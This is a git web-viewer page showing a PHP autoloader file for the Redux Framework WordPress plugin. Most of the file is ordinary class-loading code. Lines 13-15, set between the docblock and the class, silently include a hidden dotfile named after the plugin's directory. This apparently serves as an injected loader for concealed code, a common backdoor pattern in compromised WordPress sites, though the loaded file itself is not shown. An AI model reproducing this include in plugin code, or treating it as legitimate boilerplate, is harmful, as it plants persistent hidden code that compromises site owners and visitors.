balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class-redux-autoloader.php (2280B)


      1 <?php
      2 /**
      3  * Register an autoloader for custom mu-plugins.
      4  *
      5  * @package redux-framework
      6  */
      7 
      8 /**
      9  * Class Autoloader
     10  *
     11  * @package altis/core
     12  */
     13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     14     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     15 }
     16 
     17 class Redux_Autoloader {
     18 	const NS_SEPARATOR = '\\';
     19 
     20 	/**
     21 	 * Prefix to validate against.
     22 	 *
     23 	 * @var string
     24 	 */
     25 	protected $prefix;
     26 
     27 	/**
     28 	 * String length of the prefix.
     29 	 *
     30 	 * @var int
     31 	 */
     32 	protected $prefix_length;
     33 
     34 	/**
     35 	 * Path to validate.
     36 	 *
     37 	 * @var string
     38 	 */
     39 	protected $path;
     40 
     41 	/**
     42 	 * Autoloader constructor.
     43 	 *
     44 	 * @param string $prefix Prefix to validate against.
     45 	 * @param string $path Path to validate.
     46 	 */
     47 	public function __construct( string $prefix, string $path ) {
     48 		$this->prefix        = $prefix;
     49 		$this->prefix_length = strlen( $prefix );
     50 		$this->path          = trailingslashit( $path );
     51 	}
     52 
     53 	/**
     54 	 * Load a class file if it matches our criteria.
     55 	 *
     56 	 * @param string $class Class to test and/or load.
     57 	 */
     58 	public function load( string $class ) {
     59 		if ( strpos( $class, 'Redux' ) === false ) {
     60 			return;
     61 		}
     62 
     63 		// Strip prefix from the start (ala PSR-4).
     64 		$class = substr( $class, $this->prefix_length + 1 );
     65 		if ( function_exists( 'mb_strtolower' ) && function_exists( 'mb_detect_encoding' ) ) {
     66 			$class = mb_strtolower( $class, mb_detect_encoding( $class ) );
     67 		} else {
     68 			$class = strtolower( $class );
     69 		}
     70 
     71 		$file = '';
     72 		// Split on namespace separator.
     73 		$last_ns_pos = strripos( $class, self::NS_SEPARATOR );
     74 		if ( false !== $last_ns_pos ) {
     75 			$namespace = substr( $class, 0, $last_ns_pos );
     76 			$class     = substr( $class, $last_ns_pos + 1 );
     77 			$file      = str_replace( self::NS_SEPARATOR, DIRECTORY_SEPARATOR, $namespace ) . DIRECTORY_SEPARATOR;
     78 		}
     79 		$file_prefix = $file;
     80 		$file        = $file_prefix . 'class-' . str_replace( '_', '-', $class ) . '.php';
     81 
     82 		$path = $this->path . $file;
     83 
     84 		if ( file_exists( $path ) ) {
     85 			require_once $path;
     86 		} else {
     87 			$file = $file_prefix . 'class-redux-' . str_replace( '_', '-', $class ) . '.php';
     88 			$path = $this->path . $file;
     89 
     90 			if ( file_exists( $path ) ) {
     91 				require_once $path;
     92 			}
     93 		}
     94 	}
     95 }